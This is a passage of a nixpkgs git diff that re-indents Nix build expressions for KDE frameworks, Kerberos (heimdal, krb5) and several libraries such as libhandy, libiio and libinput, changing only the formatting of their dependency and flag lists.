-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (fetchpatch {
-        name = "kdoctools-relocate-datapath.patch";
-        url = "https://github.com/msys2/MINGW-packages/raw/0900785a1f4e4146ab9561fb92a1c70fa70fcfc4/mingw-w64-kdoctools-qt5/0001-kdoctools-relocate-datapath.patch";
-        hash = "sha256-MlokdrabXavWHGXYmdz9zZDJQIwAdNxebJBSAH2Z3vI=";
-      })
-    ];
+  patches = [
+    ./kdoctools-no-find-docbook-xml.patch
+  ]
+  # kf.doctools.core: Error: Could not find kdoctools catalogs
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (fetchpatch {
+      name = "kdoctools-relocate-datapath.patch";
+      url = "https://github.com/msys2/MINGW-packages/raw/0900785a1f4e4146ab9561fb92a1c70fa70fcfc4/mingw-w64-kdoctools-qt5/0001-kdoctools-relocate-datapath.patch";
+      hash = "sha256-MlokdrabXavWHGXYmdz9zZDJQIwAdNxebJBSAH2Z3vI=";
+    })
+  ];
   cmakeFlags = [
     "-DDocBookXML4_DTD_DIR=${docbook_xml_dtd_45}/xml/dtd/docbook"
     "-DDocBookXSL_DIR=${docbook_xsl_ns}/xml/xsl/docbook"
diff --git a/pkgs/development/libraries/kde-frameworks/kinit/default.nix b/pkgs/development/libraries/kde-frameworks/kinit/default.nix
index 9394d5d0edc8..b8b0d74acad0 100644
--- a/pkgs/development/libraries/kde-frameworks/kinit/default.nix
+++ b/pkgs/development/libraries/kde-frameworks/kinit/default.nix
@@ -42,14 +42,13 @@ mkDerivation {
     ./0003-kdeinit-extra-libs.patch
     ./0004-start_kdeinit-environ-hard-limit.patch
   ];
-  CXXFLAGS =
-    [
-      ''-DNIXPKGS_KF5_KIOCORE=\"${getLib kio}/lib/libKF5KIOCore.so.5\"''
-      ''-DNIXPKGS_KF5_PARTS=\"${getLib kparts}/lib/libKF5Parts.so.5\"''
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      ''-DNIXPKGS_KF5_PLASMA=\"${getLib plasma-framework}/lib/libKF5Plasma.so.5\"''
-    ];
+  CXXFLAGS = [
+    ''-DNIXPKGS_KF5_KIOCORE=\"${getLib kio}/lib/libKF5KIOCore.so.5\"''
+    ''-DNIXPKGS_KF5_PARTS=\"${getLib kparts}/lib/libKF5Parts.so.5\"''
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    ''-DNIXPKGS_KF5_PLASMA=\"${getLib plasma-framework}/lib/libKF5Plasma.so.5\"''
+  ];
   setupHook = writeScript "setup-hook.sh" ''
     kinitFixupOutputHook() {
         if [ $prefix != ''${!outputBin} ] && [ -d $prefix/lib ]; then
diff --git a/pkgs/development/libraries/kde-frameworks/kio/default.nix b/pkgs/development/libraries/kde-frameworks/kio/default.nix
index d13792563fcd..2728ac681f35 100644
--- a/pkgs/development/libraries/kde-frameworks/kio/default.nix
+++ b/pkgs/development/libraries/kde-frameworks/kio/default.nix
@@ -41,45 +41,43 @@ mkDerivation {
     extra-cmake-modules
     kdoctools
   ];
-  buildInputs =
-    [
-      karchive
-      kconfigwidgets
-      kdbusaddons
-      ki18n
-      kiconthemes
-      knotifications
-      ktextwidgets
-      kwallet
-      kwidgetsaddons
-      kwindowsystem
-      qtscript
-      qtx11extras
-      kcrash
-      libkrb5
-    ]
-    ++ lib.lists.optionals stdenv.hostPlatform.isLinux [
-      acl
-      attr # both are needed for ACL support
-      util-linux # provides libmount
-    ];
-  propagatedBuildInputs =
-    [
-      kbookmarks
-      kcompletion
-      kconfig
-      kcoreaddons
-      kitemviews
-      kjobwidgets
-      kservice
-      kxmlgui
-      qtbase
-      qttools
-      solid
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      kded
-    ];
+  buildInputs = [
+    karchive
+    kconfigwidgets
+    kdbusaddons
+    ki18n
+    kiconthemes
+    knotifications
+    ktextwidgets
+    kwallet
+    kwidgetsaddons
+    kwindowsystem
+    qtscript
+    qtx11extras
+    kcrash
+    libkrb5
+  ]
+  ++ lib.lists.optionals stdenv.hostPlatform.isLinux [
+    acl
+    attr # both are needed for ACL support
+    util-linux # provides libmount
+  ];
+  propagatedBuildInputs = [
+    kbookmarks
+    kcompletion
+    kconfig
+    kcoreaddons
+    kitemviews
+    kjobwidgets
+    kservice
+    kxmlgui
+    qtbase
+    qttools
+    solid
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    kded
+  ];
   outputs = [
     "out"
     "dev"
diff --git a/pkgs/development/libraries/kde-frameworks/knotifications.nix b/pkgs/development/libraries/kde-frameworks/knotifications.nix
index 390fe48a563b..7374a8f9d501 100644
--- a/pkgs/development/libraries/kde-frameworks/knotifications.nix
+++ b/pkgs/development/libraries/kde-frameworks/knotifications.nix
@@ -20,17 +20,16 @@ mkDerivation {
     extra-cmake-modules
     qttools
   ];
-  buildInputs =
-    [
-      kcodecs
-      kconfig
-      kcoreaddons
-      kwindowsystem
-      libdbusmenu
-      phonon
-      qtx11extras
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      qtmacextras
-    ];
+  buildInputs = [
+    kcodecs
+    kconfig
+    kcoreaddons
+    kwindowsystem
+    libdbusmenu
+    phonon
+    qtx11extras
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    qtmacextras
+  ];
 }
diff --git a/pkgs/development/libraries/kde-frameworks/solid/default.nix b/pkgs/development/libraries/kde-frameworks/solid/default.nix
index ae37195abd27..ddb45ae6aa3f 100644
--- a/pkgs/development/libraries/kde-frameworks/solid/default.nix
+++ b/pkgs/development/libraries/kde-frameworks/solid/default.nix
@@ -18,7 +18,8 @@ mkDerivation {
     bison
     extra-cmake-modules
     flex
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ media-player-info ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ media-player-info ];
   buildInputs = [
     qtdeclarative
     qttools
diff --git a/pkgs/development/libraries/kerberos/heimdal.nix b/pkgs/development/libraries/kerberos/heimdal.nix
index b2b52e650295..0f5380d93177 100644
--- a/pkgs/development/libraries/kerberos/heimdal.nix
+++ b/pkgs/development/libraries/kerberos/heimdal.nix
@@ -72,18 +72,17 @@ stdenv.mkDerivation {
     texinfo
   ];
 
-  buildInputs =
-    [
-      db
-      libedit
-      pam
-    ]
-    ++ lib.optionals (withCJSON) [ cjson ]
-    ++ lib.optionals (withCapNG) [ libcap_ng ]
-    ++ lib.optionals (withMicroHTTPD) [ libmicrohttpd ]
-    ++ lib.optionals (withOpenLDAP) [ openldap ]
-    ++ lib.optionals (withOpenSSL) [ openssl ]
-    ++ lib.optionals (withSQLite3) [ sqlite ];
+  buildInputs = [
+    db
+    libedit
+    pam
+  ]
+  ++ lib.optionals (withCJSON) [ cjson ]
+  ++ lib.optionals (withCapNG) [ libcap_ng ]
+  ++ lib.optionals (withMicroHTTPD) [ libmicrohttpd ]
+  ++ lib.optionals (withOpenLDAP) [ openldap ]
+  ++ lib.optionals (withOpenSSL) [ openssl ]
+  ++ lib.optionals (withSQLite3) [ sqlite ];
 
   doCheck = true;
   nativeCheckInputs = [
@@ -93,33 +92,32 @@ stdenv.mkDerivation {
     which
   ];
 
-  configureFlags =
-    [
-      "--with-hdbdir=/var/lib/heimdal"
+  configureFlags = [
+    "--with-hdbdir=/var/lib/heimdal"
 
-      "--with-libedit-include=${libedit.dev}/include"
-      "--with-libedit-lib=${libedit}/lib"
-      "--with-berkeley-db-include=${db.dev}/include"
-      "--with-berkeley-db"
+    "--with-libedit-include=${libedit.dev}/include"
+    "--with-libedit-lib=${libedit}/lib"
+    "--with-berkeley-db-include=${db.dev}/include"
+    "--with-berkeley-db"
 
-      "--without-x"
-      "--disable-afs-string-to-key"
-    ]
-    ++ lib.optionals (withCapNG) [
-      "--with-capng"
-    ]
-    ++ lib.optionals (withCJSON) [
-      "--with-cjson=${cjson}"
-    ]
-    ++ lib.optionals (withOpenLDAP) [
-      "--with-openldap=${openldap.dev}"
-    ]
-    ++ lib.optionals (withOpenLDAPAsHDBModule) [
-      "--enable-hdb-openldap-module"
-    ]
-    ++ lib.optionals (withSQLite3) [
-      "--with-sqlite3=${sqlite.dev}"
-    ];
+    "--without-x"
+    "--disable-afs-string-to-key"
+  ]
+  ++ lib.optionals (withCapNG) [
+    "--with-capng"
+  ]
+  ++ lib.optionals (withCJSON) [
+    "--with-cjson=${cjson}"
+  ]
+  ++ lib.optionals (withOpenLDAP) [
+    "--with-openldap=${openldap.dev}"
+  ]
+  ++ lib.optionals (withOpenLDAPAsHDBModule) [
+    "--enable-hdb-openldap-module"
+  ]
+  ++ lib.optionals (withSQLite3) [
+    "--with-sqlite3=${sqlite.dev}"
+  ];
 
   patches = [
     # Proposed @ https://github.com/heimdal/heimdal/pull/1262
diff --git a/pkgs/development/libraries/kerberos/krb5.nix b/pkgs/development/libraries/kerberos/krb5.nix
index 90798e2af98c..c150100eba21 100644
--- a/pkgs/development/libraries/kerberos/krb5.nix
+++ b/pkgs/development/libraries/kerberos/krb5.nix
@@ -54,58 +54,56 @@ stdenv.mkDerivation rec {
     NIX_CFLAGS_COMPILE = "-fcommon";
   };
 
-  configureFlags =
-    [
-      "--localstatedir=/var/lib"
-      (lib.withFeature withLdap "ldap")
-      (lib.withFeature withLibedit "libedit")
-      (lib.withFeature withVerto "system-verto")
-    ]
-    # krb5's ./configure does not allow passing --enable-shared and --enable-static at the same time.
-    # See https://bbs.archlinux.org/viewtopic.php?pid=1576737#p1576737
-    ++ lib.optionals staticOnly [
-      "--enable-static"
-      "--disable-shared"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isFreeBSD ''WARN_CFLAGS=''
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "krb5_cv_attr_constructor_destructor=yes,yes"
-      "ac_cv_func_regcomp=yes"
-      "ac_cv_printf_positional=yes"
-    ];
+  configureFlags = [
+    "--localstatedir=/var/lib"
+    (lib.withFeature withLdap "ldap")
+    (lib.withFeature withLibedit "libedit")
+    (lib.withFeature withVerto "system-verto")
+  ]
+  # krb5's ./configure does not allow passing --enable-shared and --enable-static at the same time.
+  # See https://bbs.archlinux.org/viewtopic.php?pid=1576737#p1576737
+  ++ lib.optionals staticOnly [
+    "--enable-static"
+    "--disable-shared"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isFreeBSD ''WARN_CFLAGS=''
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "krb5_cv_attr_constructor_destructor=yes,yes"
+    "ac_cv_func_regcomp=yes"
+    "ac_cv_printf_positional=yes"
+  ];
 
-  nativeBuildInputs =
-    [
-      byacc
-      perl
-      pkg-config
-    ]
-    # Provides the mig command used by the build scripts
-    ++ lib.optional stdenv.hostPlatform.isDarwin bootstrap_cmds;
+  nativeBuildInputs = [
+    byacc
+    perl
+    pkg-config
+  ]
+  # Provides the mig command used by the build scripts
+  ++ lib.optional stdenv.hostPlatform.isDarwin bootstrap_cmds;
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals (
-      stdenv.hostPlatform.isLinux
-      && stdenv.hostPlatform.libc != "bionic"
-      && !(stdenv.hostPlatform.useLLVM or false)
-    ) [ keyutils ]
-    ++ lib.optionals withLdap [ openldap ]
-    ++ lib.optionals withLibedit [ libedit ]
-    ++ lib.optionals withVerto [ libverto ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals (
+    stdenv.hostPlatform.isLinux
+    && stdenv.hostPlatform.libc != "bionic"
+    && !(stdenv.hostPlatform.useLLVM or false)
+  ) [ keyutils ]
+  ++ lib.optionals withLdap [ openldap ]
+  ++ lib.optionals withLibedit [ libedit ]
+  ++ lib.optionals withVerto [ libverto ];
 
   sourceRoot = "krb5-${version}/src";
 
-  postPatch =
-    ''
-      substituteInPlace config/shlib.conf \
-        --replace "'ld " "'${stdenv.cc.targetPrefix}ld "
-    ''
-    # this could be accomplished by updateAutotoolsGnuConfigScriptsHook, but that causes infinite recursion
-    # necessary for FreeBSD code path in configure
-    + ''
-      substituteInPlace ./config/config.guess --replace-fail /usr/bin/uname uname
-    '';
+  postPatch = ''
+    substituteInPlace config/shlib.conf \
+      --replace "'ld " "'${stdenv.cc.targetPrefix}ld "
+  ''
+  # this could be accomplished by updateAutotoolsGnuConfigScriptsHook, but that causes infinite recursion
+  # necessary for FreeBSD code path in configure
+  + ''
+    substituteInPlace ./config/config.guess --replace-fail /usr/bin/uname uname
+  '';
 
   libFolders = [
     "util"
diff --git a/pkgs/development/libraries/libbutl/default.nix b/pkgs/development/libraries/libbutl/default.nix
index e8e7a6997daa..dc13fb6dee4f 100644
--- a/pkgs/development/libraries/libbutl/default.nix
+++ b/pkgs/development/libraries/libbutl/default.nix
@@ -24,13 +24,12 @@ stdenv.mkDerivation rec {
     hash = "sha256-sFqaEf6s2rF1YcZjw5J6oY5ol5PbO9vy6NseKjrvTvs=";
   };
 
-  nativeBuildInputs =
-    [
-      build2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      DarwinTools
-    ];
+  nativeBuildInputs = [
+    build2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    DarwinTools
+  ];
 
   patches = [
     # Install missing .h files needed by dependers
diff --git a/pkgs/development/libraries/libcec/default.nix b/pkgs/development/libraries/libcec/default.nix
index 5a97e5c6d889..a9efeffa5048 100644
--- a/pkgs/development/libraries/libcec/default.nix
+++ b/pkgs/development/libraries/libcec/default.nix
@@ -33,15 +33,15 @@ stdenv.mkDerivation rec {
   buildInputs = [
     udev
     libcec_platform
-  ] ++ lib.optional withLibraspberrypi libraspberrypi;
+  ]
+  ++ lib.optional withLibraspberrypi libraspberrypi;
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=1"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-DHAVE_LINUX_API=1"
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=1"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-DHAVE_LINUX_API=1"
+  ];
 
   meta = with lib; {
     description = "Allows you (with the right hardware) to control your device with your TV remote control using existing HDMI cabling";
diff --git a/pkgs/development/libraries/libcommuni/default.nix b/pkgs/development/libraries/libcommuni/default.nix
index 54b362b4ed34..f85f66027f0d 100644
--- a/pkgs/development/libraries/libcommuni/default.nix
+++ b/pkgs/development/libraries/libcommuni/default.nix
@@ -31,16 +31,15 @@ stdenv.mkDerivation rec {
   enableParallelBuilding = true;
 
   dontUseQmakeConfigure = true;
-  configureFlags =
-    [
-      "-config"
-      "release"
-    ]
-    # Build mixes up dylibs/frameworks if one is not explicitly specified.
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-config"
-      "qt_framework"
-    ];
+  configureFlags = [
+    "-config"
+    "release"
+  ]
+  # Build mixes up dylibs/frameworks if one is not explicitly specified.
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-config"
+    "qt_framework"
+  ];
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/development/libraries/libdevil/default.nix b/pkgs/development/libraries/libdevil/default.nix
index 58545dd08127..94e1b9555932 100644
--- a/pkgs/development/libraries/libdevil/default.nix
+++ b/pkgs/development/libraries/libdevil/default.nix
@@ -39,19 +39,18 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libjpeg
-      libpng
-      libmng
-      lcms1
-      libtiff
-      openexr
-    ]
-    ++ lib.optionals withXorg [
-      libX11
-      libGL
-    ];
+  buildInputs = [
+    libjpeg
+    libpng
+    libmng
+    lcms1
+    libtiff
+    openexr
+  ]
+  ++ lib.optionals withXorg [
+    libX11
+    libGL
+  ];
 
   configureFlags = [
     "--enable-ILU"
diff --git a/pkgs/development/libraries/libextractor/default.nix b/pkgs/development/libraries/libextractor/default.nix
index c8a545239846..bb8888d130dd 100644
--- a/pkgs/development/libraries/libextractor/default.nix
+++ b/pkgs/development/libraries/libextractor/default.nix
@@ -48,24 +48,23 @@ stdenv.mkDerivation rec {
     hash = "sha256-u48xLFHSAlciQ/ETxrYtghAwGrMMuu5gT5g32HjN91U=";
   };
 
-  patches =
-    [
-      # 0008513: test_exiv2 fails with Exiv2 0.28
-      # https://bugs.gnunet.org/view.php?id=8513
-      (fetchpatch2 {
-        url = "https://sources.debian.org/data/main/libe/libextractor/1%3A1.13-4/debian/patches/exiv2-0.28.diff";
-        hash = "sha256-Re5iwlSyEpWu3PcHibaRKSfmdyHSZGMOdMZ6svTofvs=";
-      })
-    ]
-    ++ lib.optionals gstreamerSupport [
+  patches = [
+    # 0008513: test_exiv2 fails with Exiv2 0.28
+    # https://bugs.gnunet.org/view.php?id=8513
+    (fetchpatch2 {
+      url = "https://sources.debian.org/data/main/libe/libextractor/1%3A1.13-4/debian/patches/exiv2-0.28.diff";
+      hash = "sha256-Re5iwlSyEpWu3PcHibaRKSfmdyHSZGMOdMZ6svTofvs=";
+    })
+  ]
+  ++ lib.optionals gstreamerSupport [
 
-      # Libraries cannot be wrapped so we need to hardcode the plug-in paths.
-      (replaceVars ./gst-hardcode-plugins.patch {
-        load_gst_plugins = lib.concatMapStrings (
-          plugin: ''gst_registry_scan_path(gst_registry_get(), "${lib.getLib plugin}/lib/gstreamer-1.0");''
-        ) (gstPlugins gst_all_1);
-      })
-    ];
+    # Libraries cannot be wrapped so we need to hardcode the plug-in paths.
+    (replaceVars ./gst-hardcode-plugins.patch {
+      load_gst_plugins = lib.concatMapStrings (
+        plugin: ''gst_registry_scan_path(gst_registry_get(), "${lib.getLib plugin}/lib/gstreamer-1.0");''
+      ) (gstPlugins gst_all_1);
+    })
+  ];
 
   preConfigure = ''
     echo "patching installation directory in \`extractor.c'..."
@@ -75,24 +74,23 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      libtool
-      gettext
-      zlib
-      bzip2
-      flac
-      libvorbis
-      exiv2
-      libgsf
-    ]
-    ++ lib.optionals rpmSupport [ rpm ]
-    ++ lib.optionals gstreamerSupport ([ gst_all_1.gstreamer ] ++ gstPlugins gst_all_1)
-    ++ lib.optionals gtkSupport [
-      glib
-      gtk3
-    ]
-    ++ lib.optionals videoSupport [ libmpeg2 ];
+  buildInputs = [
+    libtool
+    gettext
+    zlib
+    bzip2
+    flac
+    libvorbis
+    exiv2
+    libgsf
+  ]
+  ++ lib.optionals rpmSupport [ rpm ]
+  ++ lib.optionals gstreamerSupport ([ gst_all_1.gstreamer ] ++ gstPlugins gst_all_1)
+  ++ lib.optionals gtkSupport [
+    glib
+    gtk3
+  ]
+  ++ lib.optionals videoSupport [ libmpeg2 ];
 
   # Checks need to be run after "make install", otherwise plug-ins are not in
   # the search path, etc.
diff --git a/pkgs/development/libraries/libgda/5.x.nix b/pkgs/development/libraries/libgda/5.x.nix
index d2afa53c52eb..0761542379d3 100644
--- a/pkgs/development/libraries/libgda/5.x.nix
+++ b/pkgs/development/libraries/libgda/5.x.nix
@@ -61,18 +61,17 @@ stdenv.mkDerivation rec {
     libpq.pg_config
   ];
 
-  buildInputs =
-    [
-      gtk3
-      openssl
-      libgee
-    ]
-    ++ lib.optionals mysqlSupport [
-      libmysqlclient
-    ]
-    ++ lib.optionals postgresSupport [
-      libpq
-    ];
+  buildInputs = [
+    gtk3
+    openssl
+    libgee
+  ]
+  ++ lib.optionals mysqlSupport [
+    libmysqlclient
+  ]
+  ++ lib.optionals postgresSupport [
+    libpq
+  ];
 
   propagatedBuildInputs = [
     libxml2
diff --git a/pkgs/development/libraries/libgda/6.x.nix b/pkgs/development/libraries/libgda/6.x.nix
index 06f9c064b9da..f9f75b0312b9 100644
--- a/pkgs/development/libraries/libgda/6.x.nix
+++ b/pkgs/development/libraries/libgda/6.x.nix
@@ -73,21 +73,20 @@ stdenv.mkDerivation rec {
     yelp-tools
   ];
 
-  buildInputs =
-    [
-      gtk3
-      json-glib
-      isocodes
-      openssl
-      libgee
-      sqlite
-    ]
-    ++ lib.optionals mysqlSupport [
-      libmysqlclient
-    ]
-    ++ lib.optionals postgresSupport [
-      libpq
-    ];
+  buildInputs = [
+    gtk3
+    json-glib
+    isocodes
+    openssl
+    libgee
+    sqlite
+  ]
+  ++ lib.optionals mysqlSupport [
+    libmysqlclient
+  ]
+  ++ lib.optionals postgresSupport [
+    libpq
+  ];
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-error=incompatible-function-pointer-types";
 
diff --git a/pkgs/development/libraries/libgpod/default.nix b/pkgs/development/libraries/libgpod/default.nix
index ead4701576c7..6936fd178d6f 100644
--- a/pkgs/development/libraries/libgpod/default.nix
+++ b/pkgs/development/libraries/libgpod/default.nix
@@ -50,28 +50,29 @@ stdenv.mkDerivation rec {
     "--without-hal"
     "--enable-udev"
     "--with-udev-dir=${placeholder "out"}/lib/udev"
-  ] ++ lib.optionals monoSupport [ "--with-mono" ];
+  ]
+  ++ lib.optionals monoSupport [ "--with-mono" ];
 
   dontStrip = monoSupport;
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      intltool
-      pkg-config
-    ]
-    ++ (with perlPackages; [
-      perl
-      XMLParser
-    ])
-    ++ lib.optional monoSupport mono;
+  nativeBuildInputs = [
+    autoreconfHook
+    intltool
+    pkg-config
+  ]
+  ++ (with perlPackages; [
+    perl
+    XMLParser
+  ])
+  ++ lib.optional monoSupport mono;
 
   buildInputs = [
     libxml2
     sg3_utils
     sqlite
     taglib
-  ] ++ lib.optional monoSupport gtk-sharp-2_0;
+  ]
+  ++ lib.optional monoSupport gtk-sharp-2_0;
 
   propagatedBuildInputs = [
     gdk-pixbuf
diff --git a/pkgs/development/libraries/libhandy/default.nix b/pkgs/development/libraries/libhandy/default.nix
index f6fdf43b56b0..e69d28ee632a 100644
--- a/pkgs/development/libraries/libhandy/default.nix
+++ b/pkgs/development/libraries/libhandy/default.nix
@@ -29,15 +29,14 @@ stdenv.mkDerivation rec {
   pname = "libhandy";
   version = "1.8.3";
 
-  outputs =
-    [
-      "out"
-      "dev"
-      "devdoc"
-    ]
-    ++ lib.optionals enableGlade [
-      "glade"
-    ];
+  outputs = [
+    "out"
+    "dev"
+    "devdoc"
+  ]
+  ++ lib.optionals enableGlade [
+    "glade"
+  ];
   outputBin = "dev";
 
   src = fetchurl {
@@ -49,27 +48,25 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      gobject-introspection
-      gi-docgen
-      meson
-      ninja
-      pkg-config
-      vala
-    ]
-    ++ lib.optionals enableGlade [
-      libxml2 # for xmllint
-    ];
+  nativeBuildInputs = [
+    gobject-introspection
+    gi-docgen
+    meson
+    ninja
+    pkg-config
+    vala
+  ]
+  ++ lib.optionals enableGlade [
+    libxml2 # for xmllint
+  ];
 
-  buildInputs =
-    [
-      gdk-pixbuf
-      gtk3
-    ]
-    ++ lib.optionals enableGlade [
-      glade
-    ];
+  buildInputs = [
+    gdk-pixbuf
+    gtk3
+  ]
+  ++ lib.optionals enableGlade [
+    glade
+  ];
 
   nativeCheckInputs = [
     xvfb-run
@@ -120,26 +117,25 @@ stdenv.mkDerivation rec {
     moveToOutput "share/doc" "$devdoc"
   '';
 
-  passthru =
-    {
-      updateScript = gnome.updateScript {
-        packageName = pname;
-        versionPolicy = "odd-unstable";
-      };
-    }
-    // lib.optionalAttrs (!enableGlade) {
-      glade =
-        let
-          libhandyWithGlade = libhandy.override {
-            enableGlade = true;
-          };
-        in
-        runCommand "${libhandy.name}-glade" { } ''
-          cp -r "${libhandyWithGlade.glade}" "$out"
-          chmod -R +w "$out"
-          sed -e "s#${libhandyWithGlade.out}#${libhandy.out}#g" -e "s#${libhandyWithGlade.glade}#$out#g" -i $(find "$out" -type f)
-        '';
+  passthru = {
+    updateScript = gnome.updateScript {
+      packageName = pname;
+      versionPolicy = "odd-unstable";
     };
+  }
+  // lib.optionalAttrs (!enableGlade) {
+    glade =
+      let
+        libhandyWithGlade = libhandy.override {
+          enableGlade = true;
+        };
+      in
+      runCommand "${libhandy.name}-glade" { } ''
+        cp -r "${libhandyWithGlade.glade}" "$out"
+        chmod -R +w "$out"
+        sed -e "s#${libhandyWithGlade.out}#${libhandy.out}#g" -e "s#${libhandyWithGlade.glade}#$out#g" -i $(find "$out" -type f)
+      '';
+  };
 
   meta = with lib; {
     changelog = "https://gitlab.gnome.org/GNOME/libhandy/-/tags/${version}";
diff --git a/pkgs/development/libraries/libiconv/default.nix b/pkgs/development/libraries/libiconv/default.nix
index e3a0d34d6703..c466646c9358 100644
--- a/pkgs/development/libraries/libiconv/default.nix
+++ b/pkgs/development/libraries/libiconv/default.nix
@@ -75,7 +75,8 @@ stdenv.mkDerivation rec {
   configureFlags = [
     (lib.enableFeature enableStatic "static")
     (lib.enableFeature enableShared "shared")
-  ] ++ lib.optional stdenv.hostPlatform.isFreeBSD "--with-pic";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isFreeBSD "--with-pic";
 
   passthru = { inherit setupHooks; };
 
diff --git a/pkgs/development/libraries/libiio/default.nix b/pkgs/development/libraries/libiio/default.nix
index c63778c9b9d6..c0bdc076e8ca 100644
--- a/pkgs/development/libraries/libiio/default.nix
+++ b/pkgs/development/libraries/libiio/default.nix
@@ -24,7 +24,8 @@ stdenv.mkDerivation rec {
     "out"
     "lib"
     "dev"
-  ] ++ lib.optional pythonSupport "python";
+  ]
+  ++ lib.optional pythonSupport "python";
 
   src = fetchFromGitHub {
     owner = "analogdevicesinc";
@@ -37,53 +38,49 @@ stdenv.mkDerivation rec {
   # fixed properly
   patches = [ ./cmake-fix-libxml2-find-package.patch ];
 
-  nativeBuildInputs =
+  nativeBuildInputs = [
+    cmake
+    flex
+    bison
+    pkg-config
+  ]
+  ++ lib.optionals pythonSupport (
     [
-      cmake
-      flex
-      bison
-      pkg-config
+      python3
     ]
-    ++ lib.optionals pythonSupport (
-      [
-        python3
-      ]
-      ++ lib.optional python3.isPy3k python3.pkgs.setuptools
-    );
+    ++ lib.optional python3.isPy3k python3.pkgs.setuptools
+  );
 
-  buildInputs =
-    [
-      libxml2
-      libusb1
-    ]
-    ++ lib.optional avahiSupport avahi
-    ++ lib.optional stdenv.hostPlatform.isLinux libaio;
+  buildInputs = [
+    libxml2
+    libusb1
+  ]
+  ++ lib.optional avahiSupport avahi
+  ++ lib.optional stdenv.hostPlatform.isLinux libaio;
 
-  cmakeFlags =
-    [
-      "-DUDEV_RULES_INSTALL_DIR=${placeholder "out"}/lib/udev/rules.d"
-      # osx framework is disabled,
-      # the linux-like directory structure is used for proper output splitting
-      "-DOSX_PACKAGE=off"
-      "-DOSX_FRAMEWORK=off"
-    ]
-    ++ lib.optionals pythonSupport [
-      "-DPython_EXECUTABLE=${python3.pythonOnBuildForHost.interpreter}"
-      "-DPYTHON_BINDINGS=on"
-    ]
-    ++ lib.optionals (!avahiSupport) [
-      "-DHAVE_DNS_SD=OFF"
-    ];
+  cmakeFlags = [
+    "-DUDEV_RULES_INSTALL_DIR=${placeholder "out"}/lib/udev/rules.d"
+    # osx framework is disabled,
+    # the linux-like directory structure is used for proper output splitting
+    "-DOSX_PACKAGE=off"
+    "-DOSX_FRAMEWORK=off"
+  ]
+  ++ lib.optionals pythonSupport [
+    "-DPython_EXECUTABLE=${python3.pythonOnBuildForHost.interpreter}"
+    "-DPYTHON_BINDINGS=on"
+  ]
+  ++ lib.optionals (!avahiSupport) [
+    "-DHAVE_DNS_SD=OFF"
+  ];
 
-  postPatch =
-    ''
-      substituteInPlace libiio.rules.cmakein \
-        --replace /bin/sh ${runtimeShell}
-    ''
-    + lib.optionalString pythonSupport ''
-      # Hardcode path to the shared library into the bindings.
-      sed "s#@libiio@#$lib/lib/libiio${stdenv.hostPlatform.extensions.sharedLibrary}#g" ${./hardcode-library-path.patch} | patch -p1
-    '';
+  postPatch = ''
+    substituteInPlace libiio.rules.cmakein \
+      --replace /bin/sh ${runtimeShell}
+  ''
+  + lib.optionalString pythonSupport ''
+    # Hardcode path to the shared library into the bindings.
+    sed "s#@libiio@#$lib/lib/libiio${stdenv.hostPlatform.extensions.sharedLibrary}#g" ${./hardcode-library-path.patch} | patch -p1
+  '';
 
   postInstall = lib.optionalString pythonSupport ''
     # Move Python bindings into a separate output.
diff --git a/pkgs/development/libraries/libinput/default.nix b/pkgs/development/libraries/libinput/default.nix
index 65d896214017..6e43a23df72a 100644
--- a/pkgs/development/libraries/libinput/default.nix
+++ b/pkgs/development/libraries/libinput/default.nix
@@ -69,39 +69,37 @@ stdenv.mkDerivation rec {
     ./udev-absolute-path.patch
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      meson
-      ninja
-    ]
-    ++ lib.optionals documentationSupport [
-      doxygen
-      graphviz
-      sphinx-build
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    meson
+    ninja
+  ]
+  ++ lib.optionals documentationSupport [
+    doxygen
+    graphviz
+    sphinx-build
+  ];
 
-  buildInputs =
-    [
-      libevdev
-      mtdev
-      libwacom
-      (python3.withPackages (
-        pp: with pp; [
-          pp.libevdev # already in scope
-          pyudev
-          pyyaml
-          setuptools
-        ]
-      ))
-    ]
-    ++ lib.optionals eventGUISupport [
-      # GUI event viewer
-      cairo
-      glib
-      gtk3
-      wayland-scanner
-    ];
+  buildInputs = [
+    libevdev
+    mtdev
+    libwacom
+    (python3.withPackages (
+      pp: with pp; [
+        pp.libevdev # already in scope
+        pyudev
+        pyyaml
+        setuptools
+      ]
+    ))
+  ]
+  ++ lib.optionals eventGUISupport [
+    # GUI event viewer
+    cairo
+    glib
+    gtk3
+    wayland-scanner
+  ];
 
